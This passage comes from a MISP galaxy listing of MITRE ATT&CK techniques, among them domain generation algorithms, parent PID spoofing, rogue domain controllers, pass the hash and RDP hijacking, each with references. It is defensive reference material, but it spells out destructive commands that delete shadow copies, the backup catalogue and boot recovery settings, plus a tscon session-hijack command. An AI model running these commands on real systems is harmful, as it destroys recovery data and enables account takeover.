https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf
https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf

Domain Generation Algorithms - T1520

Adversaries may use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1520) (DGAs) to procedurally generate domain names for command and control communication, and other uses such as malicious application distribution.(Citation: securelist rotexy 2018)

DGAs increase the difficulty for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1520"*

Table 4028. Table References

Links
https://attack.mitre.org/techniques/T1520
https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/
https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/

Parent PID Spoofing - T1502

Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)

Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](Rundll32 (https://attack.mitre.org/techniques/T1085) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)

Explicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Parent PID Spoofing - T1502"*

View relationships graph

Parent PID Spoofing - T1502 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Parent PID Spoofing - T1134.004" with estimative-language:likelihood-probability="almost-certain"

Table 4029. Table References

Links
https://attack.mitre.org/techniques/T1502
https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/
https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/
https://blog.xpnsec.com/becoming-system/
https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags
https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works
https://www.countercept.com/blog/detecting-parent-pid-spoofing/
https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3

Reflective Code Loading - T1620

Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk. Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL)

Reflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)

The tag is: *misp-galaxy:mitre-attack-pattern="Reflective Code Loading - T1620"*

Table 4030. Table References

Links
https://0x00sec.org/t/super-stealthy-droppers/3715
https://attack.mitre.org/techniques/T1620
https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
https://thewover.github.io/Introducing-Donut/
https://www.intezer.com/blog/research/acbackdoor-analysis-of-a-new-multiplatform-backdoor/
https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique
https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/
https://www.sentinelone.com/blog/building-a-custom-tool-for-shellcode-analysis/
https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/

Rogue Domain Controller - T1207

Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.

Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)

This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)

The tag is: *misp-galaxy:mitre-attack-pattern="Rogue Domain Controller - T1207"*

Table 4031. Table References

Links
https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html
https://adsecurity.org/?page_id=1821
https://attack.mitre.org/techniques/T1207
https://github.com/shellster/DCSYNCMonitor
https://msdn.microsoft.com/en-us/library/ms677626.aspx
https://www.dcshadow.com/

Software Deployment Tools - T1072

Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.).

Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.

The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.

The tag is: *misp-galaxy:mitre-attack-pattern="Software Deployment Tools - T1072"*

Table 4032. Table References

Links
https://attack.mitre.org/techniques/T1072
https://capec.mitre.org/data/definitions/187.html

System Information Discovery - T1082

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the <code>systemsetup</code> configuration tool on macOS. As an example, adversaries with user-level access can execute the <code>df -aH</code> command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information.(Citation: US-CERT-TA18-106A) [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)

Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)

The tag is: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082"*

Table 4033. Table References

Links
https://attack.mitre.org/techniques/T1082
https://capec.mitre.org/data/definitions/312.html
https://cloud.google.com/compute/docs/reference/rest/v1/instances
https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html
https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get
https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/
https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/
https://www.us-cert.gov/ncas/alerts/TA18-106A

Windows Remote Management - T1028

Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the <code>winrm</code> command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1028"*

View relationships graph

Windows Remote Management - T1028 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1021.006" with estimative-language:likelihood-probability="almost-certain"

Table 4034. Table References

Links
http://msdn.microsoft.com/en-us/library/aa384426
https://attack.mitre.org/techniques/T1028
https://capec.mitre.org/data/definitions/555.html
https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc
https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2

Commonly Used Port - T1043

This technique has been deprecated. Please use [Non-Standard Port](https://attack.mitre.org/techniques/T1571) where appropriate.

Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as

- TCP:80 (HTTP)
- TCP:443 (HTTPS)
- TCP:25 (SMTP)
- TCP/UDP:53 (DNS)

They may use the protocol associated with the port or a completely different protocol.

For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are

- TCP/UDP:135 (RPC)
- TCP/UDP:22 (SSH)
- TCP/UDP:3389 (RDP)

The tag is: *misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043"*

Table 4035. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1043

Private whois services - T1305

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1305).

Every domain registrar maintains a publicly viewable database that displays contact information for every registered domain. Private 'whois' services display alternative information, such as their own company data, rather than the owner of the domain. (Citation: APT1)

The tag is: *misp-galaxy:mitre-attack-pattern="Private whois services - T1305"*

Table 4036. Table References

Links
https://attack.mitre.org/techniques/T1305

Security Software Discovery - T1063

Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Windows

Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.

Mac

It's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.

The tag is: *misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063"*

View relationships graph

Security Software Discovery - T1063 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

Table 4037. Table References

Links
https://attack.mitre.org/techniques/T1063

Test physical access - T1360

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1360).

An adversary can test physical access options in preparation for the actual attack. This could range from observing behaviors and noting security precautions to actually attempting access. (Citation: OCIAC Pre Incident Indicators) (Citation: NewsAgencySpy)

The tag is: *misp-galaxy:mitre-attack-pattern="Test physical access - T1360"*

Table 4038. Table References

Links
https://attack.mitre.org/techniques/T1360

Exploit OS Vulnerability - T1404

A malicious app can exploit unpatched vulnerabilities in the operating system to obtain escalated privileges.

The tag is: *misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404"*

Table 4039. Table References

Links
https://attack.mitre.org/techniques/T1404
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html

Exploit TEE Vulnerability - T1405

A malicious app or other attack vector could be used to exploit vulnerabilities in code running within the Trusted Execution Environment (TEE) (Citation: Thomas-TrustZone). The adversary could then obtain privileges held by the TEE potentially including the ability to access cryptographic keys or other sensitive data (Citation: QualcommKeyMaster). Escalated operating system privileges may be first required in order to have the ability to attack the TEE (Citation: EkbergTEE). If not, privileges within the TEE can potentially be used to exploit the operating system (Citation: laginimaineb-TEE).

The tag is: *misp-galaxy:mitre-attack-pattern="Exploit TEE Vulnerability - T1405"*

Table 4040. Table References

Links
http://bits-please.blogspot.co.il/2016/05/war-of-worlds-hijacking-linux-kernel.html
https://attack.mitre.org/techniques/T1405

https://bits-please.blogspot.in/2016/06/extracting-qualcomms-keymaster-keys.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html
https://usmile.at/symposium/program/2015/ekberg
https://usmile.at/symposium/program/2015/thomas-holmes

Network Service Discovery - T1046

Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)

Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.

Within macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host's registered services on the network. For example, adversaries can use a mDNS query (such as <code>dns-sd -B _ssh._tcp .</code>) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)

The tag is: *misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046"*

Table 4041. Table References

Links
https://attack.mitre.org/techniques/T1046
https://capec.mitre.org/data/definitions/300.html
https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/NetServices/Introduction.html
https://themittenmac.com/what-does-apt-activity-look-like-on-macos/
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a

Proxy Through Victim - T1604

Adversaries may use a compromised device as a proxy server to the Internet. By utilizing a proxy, adversaries hide the true IP address of their C2 server and associated infrastructure from the destination of the network traffic. This masquerades an adversary's traffic as legitimate traffic originating from the compromised device, which can evade IP-based restrictions and alerts on certain services, such as bank accounts and social media websites.(Citation: Threat Fabric Exobot)

The most common type of proxy is a SOCKS proxy. It can typically be implemented using standard OS-level APIs and 3rd party libraries with no indication to the user. On Android, adversaries can use the `Proxy` API to programmatically establish a SOCKS proxy connection, or lower-level APIs to interact directly with raw sockets.

The tag is: *misp-galaxy:mitre-attack-pattern="Proxy Through Victim - T1604"*

Table 4042. Table References

Links
https://attack.mitre.org/techniques/T1604
https://www.threatfabric.com/blogs/exobot_android_banking_trojan_on_the_rise.html

Windows Management Instrumentation - T1047

Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM).(Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: MSDN WMI)(Citation: FireEye WMI 2015)

An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047"*

Table 4043. Table References

Links
https://attack.mitre.org/techniques/T1047
https://msdn.microsoft.com/en-us/library/aa394582.aspx
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf

Inhibit System Recovery - T1490

Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.

Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)

A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:

- <code>vssadmin.exe</code> can be used to delete all volume shadow copies on a system - <code>vssadmin.exe delete shadows /all /quiet</code>
- [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - <code>wmic shadowcopy delete</code>
- <code>wbadmin.exe</code> can be used to delete the Windows Backup Catalog - <code>wbadmin.exe delete catalog -quiet</code>
- <code>bcdedit.exe</code> can be used to disable automatic Windows recovery features by modifying boot configuration data - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no</code>

The tag is: *misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490"*

Table 4044. Table References

Links
https://attack.mitre.org/techniques/T1490
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html

Server Software Component - T1505

Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.

The tag is: *misp-galaxy:mitre-attack-pattern="Server Software Component - T1505"*

Table 4045. Table References

Links
https://attack.mitre.org/techniques/T1505
https://www.us-cert.gov/ncas/alerts/TA15-314A

Archive Collected Data - T1560

An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.

Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.

The tag is: *misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560"*

Table 4046. Table References

Links
https://attack.mitre.org/techniques/T1560
https://en.wikipedia.org/wiki/List_of_file_signatures

Web Session Cookie - T1506

Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)

Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.

There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Web Session Cookie - T1506"*

View relationships graph

Web Session Cookie - T1506 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Web Session Cookie - T1550.004" with estimative-language:likelihood-probability="almost-certain"

Table 4047. Table References

Links
https://attack.mitre.org/techniques/T1506
https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
https://wunderwuzzi23.github.io/blog/passthecookie.html

Uncommonly Used Port - T1065

Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.

The tag is: *misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065"*

View relationships graph

Uncommonly Used Port - T1065 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"

Table 4048. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1065

Network Information Discovery - T1507

Adversaries may use device sensors to collect information about nearby networks, such as Wi-Fi and Bluetooth.

The tag is: *misp-galaxy:mitre-attack-pattern="Network Information Discovery - T1507"*

Table 4049. Table References

Links
https://attack.mitre.org/techniques/T1507

Pass the Hash - T1075

Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.

Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)

The tag is: *misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075"*

View relationships graph

Pass the Hash - T1075 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"

Table 4050. Table References

Links
https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm
https://attack.mitre.org/techniques/T1075
https://capec.mitre.org/data/definitions/644.html

Lateral Tool Transfer - T1570

Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) to connected network shares or with authenticated connections via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).(Citation: Unit42 LockerGoga 2019)

Files can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://attack.mitre.org/software/S0095).

The tag is: *misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570"*

Table 4051. Table References

Links
https://attack.mitre.org/techniques/T1570
https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/

Suppress Application Icon - T1508

A malicious application could suppress its icon from being displayed to the user in the application launcher to hide the fact that it is installed, and to make it more difficult for the user to uninstall the application. Hiding the application's icon programmatically does not require any special permissions.

This behavior has been seen in the BankBot/Spy Banker family of malware.(Citation: android-trojan-steals-paypal-2fa)(Citation: sunny-stolen-credentials)(Citation: bankbot-spybanker)

The tag is: *misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508"*

Table 4052. Table References

Links

https://attack.mitre.org/techniques/T1508
https://www.cyber.nj.gov/threat-profiles/android-malware-variants/bankbot-spybanker
https://www.welivesecurity.com/2017/02/22/sunny-chance-stolen-credentials-malicious-weather-app-found-google-play/
https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/

Cloud Infrastructure Discovery - T1580

An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.

Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a <code>DescribeInstances</code> API within the Amazon EC2 API that can return information about one or more instances within an account, the <code>ListBuckets</code> API that returns a list of all buckets owned by the authenticated sender of the request, the <code>HeadBucket</code> API to determine a bucket's existence along with access permissions of the request sender, or the <code>GetPublicAccessBlock</code> API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the <code>gcloud compute instances list</code> command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command <code>az vm list</code> lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)

An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as <code>DescribeDBInstances</code> to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Infrastructure Discovery - T1580"*

Table 4053. Table References

Links
https://attack.mitre.org/techniques/T1580

https://blog.malwarebytes.com/researchers-corner/2019/09/hacking-with-aws-incorporating-leaky-buckets-osint-workflow/
https://cloud.google.com/sdk/gcloud/reference/compute/instances/list
https://content.fireeye.com/m-trends/rpt-m-trends-2020
https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html
https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html
https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html
https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadBucket.html
https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html
https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest
https://expel.io/blog/finding-evil-in-aws/

Uncommonly Used Port - T1509

Adversaries may use non-standard ports to exfiltrate information.

The tag is: *misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1509"*

Table 4054. Table References

Links
https://attack.mitre.org/techniques/T1509

Forge Web Credentials - T1606

Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.

Adversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator)

Once forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)

The tag is: *misp-galaxy:mitre-attack-pattern="Forge Web Credentials - T1606"*

Table 4055. Table References

Links
https://attack.mitre.org/techniques/T1606
https://github.com/damianh/aws-adfs-credential-generator
https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
https://wunderwuzzi23.github.io/blog/passthecookie.html

Remote Desktop Protocol - T1076

Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.

Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware)

Adversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, <code>c:\windows\system32\tscon.exe [session number to be stolen]</code>, an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)

The tag is: *misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076"*

View relationships graph

Remote Desktop Protocol - T1076 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

Table 4056. Table References

Links

http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/
http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html
https://attack.mitre.org/techniques/T1076
https://capec.mitre.org/data/definitions/555.html
https://github.com/nccgroup/redsnarf
https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6
